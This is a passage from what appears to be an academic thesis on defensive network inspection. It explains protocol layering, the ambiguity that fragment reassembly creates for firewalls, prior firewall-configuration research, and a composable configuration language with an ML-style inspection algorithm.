do not need to learn how to drive in Russia. Indeed if they agree on a meeting point at Moscow, only one
diplomat has to learn how to drive on Russian roads when the other is the passenger. Going further, let’s
say these diplomats go to conferences all around the world. Taking the time to learn all the road rules
will non negligibly impact the remaining time for doing their diplomatic work. Therefore, the layering
approach proposes to use local taxi drivers knowing how to drive all around their local part of the globe.
Our diplomats are now in Moscow.
Once in the conference room, to debate, both diplomats need then to understand themselves. Here
again, instead of learning others’ languages, the layering principle will use translators from a common
language to their respective languages. These different layerings are depicted in Figure 2.1. Layering
improves the factorization of tasks, while providing flexibility. However making each layer cooperate
has a cost. If for example our Chinese and American diplomats know Esperanto, they can directly talk
to each other without asking their translator service, but they’ll have difficulties talking to all the other
non Esperanto speaking diplomats. The tradeoff between genericity and performance is finally one of
the main concerns an Internet system designer has to balance [34]. For the ones wondering how a client
connected to a wifi hotspot connects to a Web server wired to the Internet, the analogy we made could be
mapped. Even if the way the different services interoperate is not exactly the same, the layering proposed
by the TCP/IP model is depicted in Figure 2.2.
From now on, we will note the different layerings used by Internet applications using the following
notation: Wi f i/IPv4/TCP/HTTP. We will call composition, a superposition of two protocol stacks,
and describe it by means of the ′/′ symbol.
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Figure 2.2: Tcp/Ip model applied to Web
Therefore Internet endpoints’ behaviors depend on their layerings and on the implementation of each
layer. Going back to our analogy, the community of diplomats in the conference at Moscow has agreed
to stop taking planes, and to use the Internet to make virtual conferences.
Both diplomats will go to local translators’ offices. Then, by using a computer interconnected to the
Internet, where a software to make video conferences has been installed, all the translators around the
world will connect to the virtual conference as depicted in Figure 2.3. To transfer the images and sounds
of translators’ offices, the video conference software will use some layering over a protocol offering the
service to travel around the Internet. Nowadays the IPv4 protocol is the ’plane’ most of layerings choose
to take. This protocol offers what should be seen as an unreliable postal service. When a protocol stack
S1 is composed over IPv4, i.e IPv4/S1, S1 could put its own envelop of size at most the maximum size
an IPv4 packet can carry, called Maximum Transmission Unit MTU . Then, it writes in the address field
of the envelop the destination address of the message and sends it to the Internet. The Internet ensures,
like the cheapest postal service, to do its best to send an unaltered version of this envelop. However, there
are quite a lot of challenges to overcome before being able to make a videoconference in the Internet.
The RFC 3439 [34] mentions the following:
• Error control: check whether packets have been altered during the transfer of information. Indeed,
the Internet does not guarantee that the bytes it transfers will not be modified. For example a
sender could send hello in an IPv4 envelop, and the destination receive hells.
• Flow control: check at what rate a receiver can receive a data. The same way we ask people talking
too fast to slow down, computers need to negotiate a conversation pace too.
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• Fragmentation: if the message S1 wants to send is too big to fit in a single IPv4 packet, the message
should be fragmented in multiple smaller messages, sent to the Internet, and then reassembled at
the endhost.
• Packet loss, reordering, and duplication control. As stated in [143], Internet can drop, duplicate or
reorder a sequence of packets. For example a sender could send hello, and the endpoint receive
ole, by loosing the h and the l, and swapping the remaining e and o.
• Connection setup: the same way two distant people willing to discuss an issue should first agree on
a meeting time and location, some communications need to establish a connection before chatting.
• Multiplexing: to reduce the number of needed translators, videoconference software, and inter-
connected computers, two Chinese diplomats should go to the same translator’s office. In this case
the translator must provide a mechanism to know which message is addressed to who.
• Addressing/Naming: each entity should be identified, like diplomats, translators, or computers.
However, new applications like for instance video conferences will probably have to face problems
previous applications had not. We can mention these two related problems:
• Delay/Jitter management: the delay between two endhosts is the time to go from one point to
the other. The jitter measures the variation of the delay. These two parameters greatly influence
the quality of a video conference. Indeed, the receiver will not see the face of its correspondent
before a time related to the delay of the first packet. The same way the jitter influences the time
28
CHAPTER 2, SECTION 2.1
at which the other images/sounds arrive. For the people used to watch streamed multimedia data1,
an increase of the jitter may induce a pause on the displaying of an already started movie.
• Congestion control: endhosts know that the pipes they are using to communicate are shared among
a lot of different other endhosts. All the endhosts should therefore responsibly use these limited
resources to improve the overall use. More pragmatically, let’s say a pipe shared among 10 end-
hosts, can at most send 10 packets per second. One endhosts sending 8 pkt/s while others are quiet
is fine. However when the 10 end hosts start sending 2 pkt/s, the pipe will drop half of the packets.
Endhosts should then decide to reduce their sending rate to 1pkt/s. Of course, this problem is
strongly correlated with the delay/jitter management.
By extrapolating this trend, new applications will probably need to face new problems. The way
Internet system designers tackle these unforeseen problems is proposing new sets of protocol stack lay-
erings, and developing new protocol stacks when the layering of existing ones cannot address critical
problems. Finally the packets sent in the Internet look like Russian dolls, or said otherwise, a succession
of envelops encapsulated into other envelops. Endpoints behave according the interaction between dif-
ferent protocol layers. The following section aims at showing why the computations made by endhost
layerings cannot be used to monitor endhost communications from a midpoint device.
2.1.1.2 The Undeterminism Faced by Midpoints
To illustrate the computations midpoints need to perform, let’s take the case of a firewall, whose policy
states that no messages should rise diplomatic conflicts. To do so, the firewall has to analyze the mes-
sages in S1, extract the messages from S2, analyze translated messages, and verify that the diplomats do
not send insults. One could say that the firewall could just install the software needed to implement the
layering S1/S2/Translator in the midpoint device, and implement another stack NoDiplomaticCon f lict
to compose over S1/S2/Translator. We show why this proposition is incorrect with two different ex-
amples.
A first problem raises with fragmentation. Let us say S2 provides a fragmentation service to
Tanslator. Let us say one Translator asks S2 to send the message ′abcd′. Because of some constraints,
S2 needs to split this message into three different parts ′a′, ′bc′ and ′d′. Considering that the Internet can
drop or reorder some messages, and taking into account that S1 does not offer a reliable communication
pipe, even if messages are sent in the order ′a′,′bc′ and ′d′, the S2 in the receiver endpoint can receive
′bc′,′ a′,′ d′. Therefore S2 needs to find a way to express that ′a′ comes first, that ′bc′ comes next and that
′d′ ends the message. That’s why S2 chooses to index each letters of the messages so that each messages
are correctly reassembled, i.e. S2 actually sends (′a′,0), (′bc′,1), (′d′,3). Let us say the receiver S2 has
first received (′a′,0) and (′d′,3).
In a first case, let us consider the case where the receiver S2 gets (′bc′,1). The reassembly algorithm
computes that ′abcd′ is a a contiguous stream of 4 bytes starting at index 0. Therefore S2 will reassemble
the three fragments [(′a′,0),(′bc,1)′,(′d′,3)] and send ′abcd′ to Translator.
In a second case, let us say that instead of (′bc′,1), the message (′zbc′,0) is received. Indeed, even
if a priori abnormal, no one prevents one endhost to send (′a′,0) (′d′,3) and (′zbc′,0) messages. Indeed
this behaviour can be motivated by malicious purposes or not2. Putting the causes of such situation
aside, the ′z′ and the previously received ′a′ have the same index, i.e. 0. Therefore both ′abcd′ and
1Like a video in Youtube.
2For example this could be a way to create an entropy generator based on the reordering rate of an Internet link.
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′zbcd′ represent a contiguous stream of 4 bytes starting at the index 0. If the algorithm to perform the
reassembly is standardized and states that the first received bytes should be chosen, then abcd would be
sent to Translators (as ′a′ has been received before ′z′). If not, each S2 implementation will do as it wants.
This creates another problem for the midpoint inspection device as it does not know how the endhost will
behave or in other words, whether ′abcd′ or ′zbcd′ will be reassembled and sent to the receiver endhost’s
Translator. The detection of possible conflicts is in this case undeterministic.
The drops and reorderings induced by the Internet creates another source of undeterminism too. As
depicted in Figure 2.43, when a midpoint inspection device sees and forwards the sequence of pack-
ets (P1,P2), it cannot assume that the endhost will receive (P1,P2), as Internet could drop or reorder
packets.
The job of a firewall, and more generally of midpoint inspection devices, is therefore to monitor
network messages produced by different layerings, and implement a policy taking into account the unde-
terminisms raised by being a midpoint device. We present in the following section how existing solutions
handle these problems.
2.1.2 State of the Art of Midpoint Inspectors
The midpoint inspectors have been up to now designed focusing on pragmatic point of views. First, a big
attention has been given to the performances of the inspection. Indeed such computations have to face the
real-time constraint imposed by the rate at which the inspected network packets arrive. When a second
packet comes before the firewall finishes to process a first one, the firewall needs to buffer it. Therefore
3Duplication of packets are not taken into account.
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this buffer grows each time the firewall is too slow, and as its size is limited, a not fast enough inspector
will not be able to process all the incoming packets. Packet filters have for example tried to address
these performance problems. As stated in [74] “A packet filter is a programmable selection criterion for
classifying or selecting packets from a packet stream in a generic, reusable fashion.”. A packet filter put
in a middle-box can therefore be used to implement a programable firewall. The packet filters compilers
like [74, 85, 237], have targeted high speed networks. However, for performance reasons, they choose
not to address, neither in their current implementation, nor in the possibilities given by their language,
TCP stream normalization [234]. However, taking into account that the great majority of the layering to
inspect uses the TCP protocol, a special attention has been given to its inspection too.
The TCP protocol offers a fragmentation service to its upper layers. Taking into account that mali-
cious users can produce the situation depicted in Section 2.1.1.2 , the TCP stream normalization chooses
to drop all the ambiguous packets. Therefore as they cannot perform this normalization, these packet
filter compilers cannot reliably inspect the protocols over TCP. This problem has been addressed
by Intrusion Detection [197, 90] and the deduced Prevention systems [243] like the ones depicted in
[43, 147, 172]. However these systems aim at detecting attacks and therefore don’t offer the possibility
to configure a policy independent of attacks or intrusions.
The language described in [84] provides an application level protocol analyzer that could be used to
develop an application level firewall. At least two critics can be made to this work. First this language
does not offer the possibility to parameterize TCP or UDP protocols inspections. However, some inspec-
tions can require to check that endhosts perform a specific congestion control algorithm, while others do
not care about it and therefore do not need to “waste” computational resources on such checking. Then,
this language makes multiplexing according to the indexes used by the TCP protocol: source and desti-
nation ports. This solution does not address the problem arose when two endhosts use a pre-negotiated
non standard port.
The midpoint inspectors are driven by configuration languages. The work done by Liu et. al. ad-
dresses the problem of stateless firewall configuration analysis. Stateless firewalls are firewalls that filter
messages without taking into account previous messages. In [126, 165, 166], the authors propose a tool
suite to help firewall administrators design consistent (the sequence of generated firewall rules imple-
ments the administrator policy), complete (all possible packets are taken into account), and compact
(there is no redundant rule) firewall rules. Stateless firewalls are however limited, as they cannot perform
stateful inspection. For example checking a correct TCP three-way handshake is performed or applying
TCP stream normalization is unfeasible by a stateless analysis. In [125], a modeling of stateful firewalls
as a sequence of static and stateful rules is proposed. This model is inspired by the syntax of common
stateful firewalls [29, 26] where the statefulness information is encoded in boolean variables. The lan-
guage proposes then to filter communications according to values of the current packet together with the
values of related state variables, which are updated by the firewall itself. A similar study proposes to
model firewall rules using a specific ACL language, to check the validity of a given firewall. First the
firewall configuration language is modelled in this language. Then their interpreter generates automati-
cally some firewall policies, and verifies their correction using automated live testings [55]. Finally, in
the quest for genericity, a high level packet filter language is described in [70]. However, this solution
only uses, like all the midpoint inspection devices we know, monolithic protocol layerings. By this idea,
we express the fact that such devices are based on the configuration of a set of predefined layerings
SL = {S11/.../S1 j1, ...,SN1/.../SN jN}. Therefore if a policy asks to implement an inspection corre-
sponding to a layering L /∈ SL, a new midpoint inspection device should be built. We see three different
possible causes for this problem:
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1. L contains at least one protocol stack not implemented by any layering in SL. For example L =
IPv4/SCTP/HTTP and SL= {IPv4/TCP/HTTP, IPv4/TCP/FTP, IPv4/UDP/DNS}. There is
no magic solution for this problem, all firewalls will need to implement SCTP to process such a
layering.
2. L is a layering containing protocol stacks already implemented in the firewall, but not in this order.
We emphasize two reasons leading to such a situation.
• L asks to perform a shorter version of a layering. For example if we
take L = IPv4, all the layerings in SL that have IPv4 as first element, i.e.
IPv4/OverIPv4One/..., IPv4/OverIPv4Two/..., ..., will at least unnecessarily extract
the encapsulated message in the IPv4 packet. Indeed the inspection to perform is just
based on information contained in IPv4, the computations done to check OverIpv4One and
OverIpv4Two are useless. This fact has created the distinction between standard firewalls
[26, 29], which use IPv4/TCP or IPv4/UDP layering, and specialized application level
firewall or IPS [147, 103], doing layerings like IPv4/TCP/HTTP. From our point of view,
a single device should be able to configure both inspections.
• L asks to perform a longer version of a layering. Let’s take the case where there is a cy-
cle in one of the valid layerings, like in Eth/IPv4/GRE/IPv4/GRE/IPv4/TCP/HTTP,
or more generally LStart/Sx/LCycle/Sx/LEnd. Therefore the set of predefined layerings
being finite, they cannot inspect layerings like LStart/(Sx/LCycle)N/Sx/LEnd, N being
the length of the longest layering in SL. Tunneling protocols, among others, provide a
way to create such cycles. If we refer to the manual of the Snort IPS, layerings like
Eth/IPv4/GRE/IPv4/GRE/IPv4/TCP/Payload4 cannot be handled even if a single encap-
sulation can be used. In other words, inside Snort, the implementation of the GRE protocol
inspection cannot be reused.
Indeed, handling monolithic protocol layerings is the main limitation of all the midpoint inspection
devices we know. The research done in network protocol architectures has lad to what are called, dynam-
ically configurable protocol layerings. Such solutions split one protocol into smaller primitive building
blocks, splitting the complexity among smaller problems. In other words such architectures apply the
layering principle to one protocol. Different implementations of such solutions exist like Coyote [76],
Cactus [77], x-kernel [138], APPIA [201] or ETP [118], the one developed in our laboratory. To sum up,
instead of having a layering like S1/S2/S3, such protocols will split S2, into a set of different layerings
providing the set {S1/{s211/.../s21n1 , ...,s2z1/.../s2znz}/S3} instead of S1/S2/S3. The aim of such ar-
chitecture is to choose among these different layerings the best suited to one situation. In this case, the
probability of getting layering cycles is greater. Moreover the development effort needed to monolith-
ically implement all the layerings is not scalable: the task of implementing all the possible branchings
becomes as tedious as developing a new protocol inspector.
The idea described by the language in the FFPF packet filter [85], allows different filters to be com-
posed. This is up to our knowledge the only solution to give the user the capability to configure a non
predefined set of layerings. However their solution does not provide algorithms to check neither the
correctness of the configured layering, nor the factorization of unnecessarily duplicated computing. The
next section describes the model and implementations of the solutions we proposed to these problems.
4http://www.snort.org/docs/snort_htmanuals/htmanual_2832/node35.html
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2.2 Composing and Parallelizing Midpoint Inspection Devices
To sum up, we have enumerated three main problems:
1. midpoint inspection devices should perform an inspection of messages being in the middle of
endhosts, and then cope with losses, reorderings, . . .
2. related to this problem, midpoint inspection devices do not know all the pre-negotiated informa-
tions between endhosts,
3. endhosts can use protocol layerings that are impossible to analyze with monolithic approaches.
Going back to the tradeoff between genericity and performance, we have first focused our design on
the genericity.
2.2.1 Definition of the Midpoint Inspection Device’s Configuration Language
If we enumerate the functioning of the different midpoint devices used in the Internet, we have:
1. Network IDSes: midpoint devices that analyze endhost communications and rise alarms upon
attack detection.
2. Network IPSes: midpoint devices that analyze endhost communications and drop packets detected
as part of an attack.
3. Application Detection: midpoint devices that analyze endhost communications and identify the
highest protocols used by the different communication layerings [114].
4. Shapers: midpoint devices that analyze endhost communications and police the bandwidth used
by different protocol layerings.
5. Firewalls: midpoint devices that analyze endhost communications and drop packets outside a given
policy.
6. New devices: midpoint devices analyzing endhost communications and taking decisions unpre-
dicted by nowadays computer scientists.
There is quite a lot of common points among all these devices, and differ mostly on:
• The decisions they take. IDSes rise alarms, IPS es, Shapers, and Firewalls accepts,drops, Appli-
cation Detection identifies,
• The reason why they take their decisions: IDS and IPSes because of attacks, Shapers because of
bandwidth constraints, Application Detection, because of used application protocols and Firewalls
because of policies.
Finally the following definition cover all these devices:
Definition 1 We call midpoint inspection device a midpoint device that analyzes endhost communica-
tions to take decisions according to a policy.
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Let DS be the set of such decisions. The functioning of these endhosts is driven by the use of differ-
ent protocol layerings, like S1/S2/Translator/Diplomat1, S1/S2/Translator/Diplomat2. Policing the
messages exchanged between the different layers enables to make endhosts behave as expected. There-
fore the policy concerns three different scopes:
Layer scope: what decisions should be taken when seeing the messages at some layer.
Layering scope: what decision should be taken from the interaction between the different layers.
Set of layerings scope: what decision should be taken from the interaction between the different layer-
ings.
Instead of proposing the configuration of a predefined set of layerings, the user implements the policy
he wants by means of our configuration language. The layer scope is implemented by what we call mid-
point inspectors (MI). The syntax we use to configure an MI follows the pattern ident ({argc{,argc})+,
with argc ::= arg_key = arg_val, using an EBNF-like5 notation. That way we can produce instruc-
tions with variable number of arguments. To configure a given policy at a layering, the / operator
is used to compose the different MIs. Then to create layerings, we use the parallelization | operator.
Finally [ and ] are used to modify the precedence of | and /, i.e S1/S2/Translator1|Translator2 6=
S1/S2/[Translator1|Translator2]. Let us say two diplomats one from the Republic of Congo speaking
Lingala, the other from Hungary speaking Hungarian, are talking to each other using the Internet by the
help of translators. Let us say the following policy must be implemented:
• Messages in Hungarian and Lingala are accepted.
• When an insult is said, a report should be sent to the government of the diplomat insulting the
other.
The following rule could be used to implement such a policy:
S1/S2/[
Translator(input_language = Lingala,out put_language = Hungarian)/CheckInsult(report_to =
RepublicO fCongoGov)|
Translator(input_language = Hungarian,out put_language = Lingala)/CheckInsult(report_to =
HungaryGov)].
If a message is sent for example in Italian, the message will be dropped. Our tool aims at helping
building a fault tolerant Internet by implementing a Protection System for Internet networks. Therefore
this drop decision comes from the system closure principle (Section 1.2.1): no action is permissible
unless explicitly authorized. Changing this “default” decision, even if very easily implementable, should
be done very conscientiously, as it drastically changes the purpose of the tool.
If the policy states:
• Messages in Hungarian and Lingala are accepted.
• When an insult is said by the Hungarian or Congolese diplomat, a report should be send to the
government of the diplomat sending the insult.
• Conversations in other languages are accepted.
5Extended Backus-Naur Form.
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By adding the MI AllowLanguage, that accepts all the messages sent in the languages described by
the language parameter, the following rule could be used:
S1/S2/[
Translator(input_language = Lingala,out put_language = Hungarian)/CheckInsult(report_to =
RepublicO fCongoGov)|
Translator(input_language = Hungarian,out put_language = Lingala)/CheckInsult(report_to =
HungaryGov)|
AllowLanguage(language= not(Lingala or Hungarian))].
The parsing of the configuration language can be easily achieved by means of grammatical and lexical
analyzers, produced by tools like Yacc, and Lex among others [164]. Then, we should check whether the
written rule is valid. If we go back to the layerings depicted when illustrating the fragmentation problem
(Section 2.1.1.2), Translator takes messages reassembled by S2, which can be different from messages
sent by S1 to S2. Therefore, even if S1/S2/Translator is valid, S1/Translator is invalid. Indeed,
Translator analyzes reassembled messages output by S2 when S1 outputs non reassembled messages.
Finally, we should synthesize an optimized version of an algorithm to take decisions. After having solved
these last two problems, we create a midpoint inspection device interpreter. The same way higher level
languages use an instruction set of von Neumann Machines together with parameters to configure their
computations, we use a predefined set of MIs to interpret our decisions’ computation.
2.2.2 Model of the Midpoint Inspection Device
We consider that the static type-safety of our algorithms’ implementation is mandatory. The Hindley-
Milner static type-safety inference algorithm has been first designed for the ML language [175]. There-
fore, we choose to present these algorithms using a dialect of this language. The dialect we use is simple
enough to be easily translated to other statically type-safe languages, like CamlLight [7], SML [44],
F# [12], Haskell [13] or OCaml [28] the one we used to implement the prototype. The proof of our
algorithms are given in the more standard style of von Neumann [59].
First, we need to make a very short introduction to this dialect.
2.2.2.1 ML dialect
To create a tomato type,
type t omato
is written. To say that potato and tomato are vegetables, we use variant types:
type v e g e t a b l e = T of t omato | P of p o t a t o
For the ones familiar with the C language, a similar C program is:
/∗ assuming t h e t y p e s tomato and p o t a t o have been c r e a t e d ∗ /
t ypede f union {
tomato tom ;
p o t a t o po t ; } _ v e g e t a b l e ;
t ypede f enum { T , P } v_ type ;
t ypede f s t r u c t {
v_ type t ;
_ v e g e t a b l e v ;
} v e g e t a b l e ;
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The definition of a variant type creates associated projection and injection operators. Indeed when
processing a vegetable l, the projection of a variant type to its specific type is done this way:
match l with
| T tom −> (∗ p r o c e s s tom , a v a r i a b l e o f t yp e tomato ∗ )
| P po t −> (∗ p r o c e s s pot , a v a r i a b l e o f t yp e p o t a t o ∗ )
Here again, the translation to C can be:
sw i t ch ( l . t ) {
case T :
/∗ p r o c e s s l . v . tom , a v a r i a b l e o f t yp e tomato ∗ /
break ;
case P :
/∗ p r o c e s s l . v . pot , a v a r i a b l e o f t yp e p o t a t o ∗ /
break ;
de f au l t :
/∗ shou l d no t be he r e ∗ /
break ;
}
To create a vegetable from a tomato tom the injection operation from tomato to vegetable is done by T
tom. The ∗ operator is used to create tuples. The − > token is used to express functions type too. For
example the prototype of a function taking a tomato and returning a tomato is written like that:
va l new_tomato : tomato −> tomato
The prototype and body of a function creating a pair of vegetables from two arguments, a tomato and a
potato, are written like this:
va l c r e a t e _ t om a t o _ p o t a t o : tomato −> p o t a t o −> v e g e t a b l e ∗ v e g e t a b l e
(∗ body of c r e a t e _ t om a t o _ p o t a t o ∗ )
l e t c r e a t e _ t om a t o _ p o t a t o tom po t = (T tom , P po t )
To define polymorphic types, i.e. types whose definition depends on other types, the “single quote” (′)
token is used. For example after creating a polymorphic list, the creation of a vegetable list is straight-
forward.
(∗ t h e l i s t c o n t a i n s v a l u e s o f t h e p a r am e t r i c t yp e ’ a ∗ )
type ’ a l i s t = NonEmpty of ( ’ a ∗ ’ a l i s t ) | Empty
type v g t b l _ l i s t = v e g e t a b l e l i s t
To create a recursive function, the “rec” token must be used like that:
(∗ p r e s e n t l a , r e t u r n s t h e boo l e an : a i s i n l ∗ )
l e t rec p r e s e n t l elm =
match l with
| NonEmpty ( hd , t l ) −>
i f hd = elm then true
e l s e p r e s e n t t l elm
| Empty −> f a l s e
We can now describe how we model and implement the midpoint inspection device.
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2.2.2.2 Details of the Midpoint Inspection Device
First the decision set DS should be implemented. We implement it by a type.
type ds
MIs implement the decisions that should be taken when seeing the messages at a given layer. We
use a type to implement the messages of this layer. Then, to model the statefulness of the MI, its state
is implemented by another type. Finally, an MI could want to send a message, like once a fragmented
message is reassembled, to the MIs in the next layers. Therefore, the messages output by MIs must have
a message type too. Before going further we can now implement the genmsg type containing all the
different messages:
type genmsg = Msg_1 of msg_laye r_1 | . . | Msg_n of msg_laye r_n
excep t i on P r o j e c t i o n E r r o r
. . .
(∗ f o r a l l msg_ laye r s , o r i n o t h e r words f o r a l l i i n [ 1 , n ] ∗ )
l e t genmsg_f rom_msg_layer_ i msgi = Msg_i msgi (∗ i n j e c t i o n ∗ )
l e t genmsg_ to_msg_ l aye r_ i gmsg = match gmsg with
| Msg_i msgi −> msgi (∗ p r o j e c t i o n ∗ )
| _ −> r a i s e P r o j e c t i o n E r r o r
. . .
The algorithm implementing the Layer scope, i.e. the one returning the decisions taken by the MI, is
implemented by the use of a function. Each MI has two message types in the set:
MSGSET={msg_layer_1 , . . . , msg_ laye r_n }
The first message type is used as input message, or argument of the inspection function. The other is a
possible output. To keep a track of the correspondence between the input and outputmessage types of the
MI and the element in MSGSET, we use two surjections6. : imi like input of MI and omi like output of
MI. Let MISET be the set of MIs. Both surjections are defined in [1, |MISET |= J]→ [1, |MSGSET |= n].
For example msg_layer_<imi[1]> represents the input message type of mi_1. To sum up the MI mi_j are
defined by six elements.
type msg_ laye r_mi_ j = msg_layer_ < imi [ j ] >
type msg_up laye r_mi_ j = msg_layer_ <omi [ j ] >
type s t a t e _m i _ j
type o u t i n s p e c t o r _m i _ j = DS_j of ds | Ou t_ j of msg_up laye r_mi_ j
type i n s p e c t i o n _ r e s u l t _m i _ j = s t a t e _m i _ j ∗ o u t i n s p e c t o r _m i _ j
va l i n s p e c t _m i _ j : s t a t e _m i _ j −> msg_ l aye r_mi_ j −> i n s p e c t i o n _ r e s u l t _m i _ j
What should be noticed here, is that the inspector function returns the updated state together with
either a decision or a new message to send to the next layers mentioned in the rule. Two remarks can
balance this design choice:
• Why sending a message to the upper layers is not considered as a decision ? The communication
of messages between all the MIs, and most precisely the interoperability of these communications
is the most important part of our system, or at least the biggest source of bugs. Therefore we
have chosen to impose the way each MI communicates with each other, by not considering the
sending of a message to the upper layer as a decision, to have a way to ensure the validity of
communications.
6 f : A→ B is surjective⇔∀y ∈ B,∃x ∈ A, f (x) = y
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• Why an MI cannot take a decision and send a message to its upper layers ? Indeed, a policy
would like to know all the alarms raised by all different layers to, for example, have en evaluation
of the different violations done by a network communication. For example in a layering like
TcpIDS/Htt pIDS, after having observed a segment violating the TcpStreamNormalization policy,
the TcpIDS will be willing to send the alarm DoesNotRespectTcpStreamNormalization and send
an a priori undeterministically reassembled message to Htt pIDS7. It’s to implement this kind of
functionality, that we add the following function to the MIs.
va l a n a l y z e _ r e s _m i _ j : s t a t e _m i _ j −> ds −> ds
As it is detailed further, this function is only used by the second, non analyzed, version of the
inspection algorithm.
Once we have developed each MI, we can implement the inspect function. The inspec-
tion algorithm takes as input a set of different MIs composed with each other. The policy
S1/S2/[Translator1|Translator2], can be seen as a tree where S1 is the father of the tree having S2
as root, and the leaves Translator1 and Translator2 as children. To go from the Layer scope, to the
Layerings scope, a tree of MI states is used.
type s t a t e = . . . | S t a t e _ j of s t a t e _m i _ j | . . . (∗ j i n [ 1 , J ] ∗ )
(∗ a l l t h e i n j e c t i o n s from s p e c i f i c s t a t e t o
t h e g e n e r i c s t a t e ∗ )
. . .
(∗ i n j e c t i o n from s t a t e _m i _ j t o s t a t e ∗ )
va l t o _ g e n e r i c _ s t a t e _ j : s t a t e _m i _ j −> s t a t e
. . .
(∗ d e f i n i t i o n o f a po lymorph i c s e t
N.B : f o r t h e sake o f b r e v i t y we don ’ t ment ion
t h e problem of t h e d e f i n i t i o n o f t h e compar i son f u n c t i o n
ove r t h e t ype ’ a , which can be non o r d e r e d . ∗ )
type ’ a s e t
(∗ d e f i n i t i o n o f t h e s t a t e _ t r e e t r e e ∗ )
type s t a t e _ t r e e = Leaf of s t a t e | Node of s t a t e ∗ ( s t a t e t r e e ) s e t
va l b u i l d _ t r e e : s t a t e −> s t a t e s e t −> s t a t e _ t r e e
(∗ we w i l l use t h i s f u n c t i o n i n t h e b e g i n i n g of t h e
i n s p e c t a l g o r i t hm ∗ )
l e t g e t _ l a b e l _ a n d _ c h i l d r e n t r e e =
match t r e e with
| Leaf l f −> l f , emp ty s e t
| Node ( r , c ) −> ( r , c )
(∗ map f a , c r e a t e s t h e s e t { f a1 , . . . , f an }
f o r a i i n a ∗ )
va l map : ( ’ a −> ’b ) −> ( ’ a s e t ) −> ( ’ b s e t )
(∗ p r o j e c t _ c o u p l e _ s e t { ( a1 , b1 ) , . . . , ( an , bn ) }= ( { a1 , . . . , an } ,{ b1 , . . . , bn } ) ∗ )
va l p r o j e c t _ c o u p l e _ s e t : ( ’ a ∗ ’ b ) s e t −> ( ’ a s e t ) ∗ ( ’ b s e t )
7This is actually what the stream5 preprocessor of the Snort IDS implements.
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(∗ f s t ( x , y ) , r e t u r n s x ∗ )
va l f s t : ’ a ∗ ’ b −> ’ a
(∗ snd ( x , y ) , r e t u r n s y ∗ )
va l snd : ’ a ∗ ’ b −> ’b
(∗ i s _emp ty e s ay s whe the r t h e s e t e i s empty o r no t ∗ )
va l i s _emp ty : ’ a s e t −> boo l
(∗ r educe : computes an e l emen t a c c o r d i n g t o a s e t o f e l emen t s ∗ )
va l r educe : ds s e t −> ds
(∗ The d e f i n i t i o n o f t h e r educe f u n c t i o n ove r ds e l emen t s ,
i . e t h e one t h a t w i l l be used by t h e i n s p e c t a l go r i t hm ,
i s l e f t open t o t h e d e v e l o p e r s .
However t h i s f u n c t i o n shou l d v e r i f y some c o n d i t i o n s we w i l l
p r e s e n t l a t e r so t h a t t h e i n s p e c t i o n a l g o r i t hm and t h e
man i p u l a t i o n o f s t a t e t r e e s v a l i d a t e some p r o p e r t i e s .
∗ )
Before detailing the inspection algorithm, we first analyze what happens to a message inspected by
the previous rule: S1/S2/[
Translator(input_language = Lingala,out put_language = Hungarian)/CheckInsult(report_to =
RepublicO fCongoGov)|
Translator(input_language = Hungarian,out put_language = Lingala)/CheckInsult(report_to =
HungaryGov)]
• Let’s say a message from a layering S1/S′2/Lingala (S′2 6= S2) is read by the device. The S1
MI inspects the relevant part of the message, accepts it, eventually makes some reassembly, and
outputs the S′2/Lingalamessage. The S2 MI then inspects the S′2 part of the S′2/Lingalamessage
and send back to S1 the decision drop, as it does not allow the messages written in other languages
than its own.
• Let’s say a message from a layering S1/S2/HungarianInsult ar-
rives. The S2 MI then asks both C1 = Translator(input_language =
Lingala,out put_language = Hungarian)/CheckInsult(report_to = RepublicO fCongoGov)|,
and C2 = Translator(input_language = Hungarian,out put_language =
Lingala)/CheckInsult(report_to = HungaryGov)], to analyze HungarianInsult. In C1,
Translator does not recognize HungarianInsult as a part of an Ingala conversation
and therefore sends back the dsc1 = drop decision to S2. In C2, Translator translates
HungarianInsult, into LingalaInsult and sends it to CheckInsult. The CheckInsult then sends
back dsc2 = alarmHungaryGov to its father, Translator, which forwards it to S2. S2 gets dsc2
from C1 and dsc1 from C2. It then computes dss2= reduce(dsc1,dsc2) to S1. Depending on the
definition of the reduce function dss2 will be drop, alarmHungaryGov or something else. In this
case, we do think that alarmHungaryGov would be a good choice, but it’s nothing more than a
subjective point of view.
We can now define the details of this inspection algorithm:
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Listing 2.1: Listing of inspect body
(∗ i n s p e c t i o n f u n c t i o n o f t h e f i r e w a l l ∗ )
l e t rec i n s p e c t msg m i _ s t a t e _ t r e e =
l e t r o o t _ s t a t e , c h i l d r e n _ s t a t e s = g e t _ l a b e l _ a n d _ t r e e m i _ s t a t e _ t r e e in
match r o o t _ s t a t e with
| . . .
| S t a t e _ j s t _m i _ j −>
l e t msg_ l ay e r _ j = genmsg_to_msg_layer_ < imi [ j ] > msg in
l e t new_s t a t e_mi_ j , o u t _ j = i n s p e c t _m i _ j s t _m i _ j msg_ l a y e r _ j in
l e t n ew_ r o o t _ s t a t e = t o _ g e n e r i c _ s t a t e _ j n ew_s t a t e _m i_ i in
match o u t _ j with
(∗ r e t u r n s t h e new t r e e t o g e t h e r wi th t h e d e c i s i o n t a k en ∗ )
| DS_j ds −> ( b u i l d _ t r e e r e s u l t _ s t a t e c h i l d r e n _ s t a t e s ) , ds
| Ou t_ j ou t −>
l e t g e n e r i c _ o u t = genmsg_from_msg_layer_ <omi [ j ] > ou t in
(∗ c a l l s r e c u r s i v e l y t h e i n s p e c t f u n c t i o n t o
a l l t h e c h i l d r e n _ s t a t e s , and g e t :
− n ew_ c h i l d r e n _ s t a t e s : t h e s e t o f a l l new c h i l d r e n t r e e s
− d s s e t : t h e s e t o f a l l t h e d e c i s i o n s t a k en
by t h e c h i l d r e n t r e e s ∗ )
l e t n ew_ c h i l d r e n _ s t a t e s , d s s e t = p r o j e c t _ c o u p l e _ s e t (
map ( i n s p e c t g e n e r i c _ o u t ) c h i l d r e n _ s t a t e s ) in
(∗ t h e on ly r ema i n i ng t h i n g t o do : compute t h e r e s u l t ∗ )
( b u i l d _ t r e e n ew_ r o o t _ s t a t e n ew_ c h i l d r e n _ s t a t e s ) , ( r e duce d s s e t )
| . . .
One should notice that this first version of the inspection algorithm does not use the analyze_res_mi_j
functions. We have first not taken this kind of functionality into account for simplicity reasons. Indeed we
have not yet formally proved properties of the “inspect” algorithm that uses analyze_res_mi_j functions
(see Section 2.2.3). This task is left for future work. Both versions of the algorithm have however been
implemented .
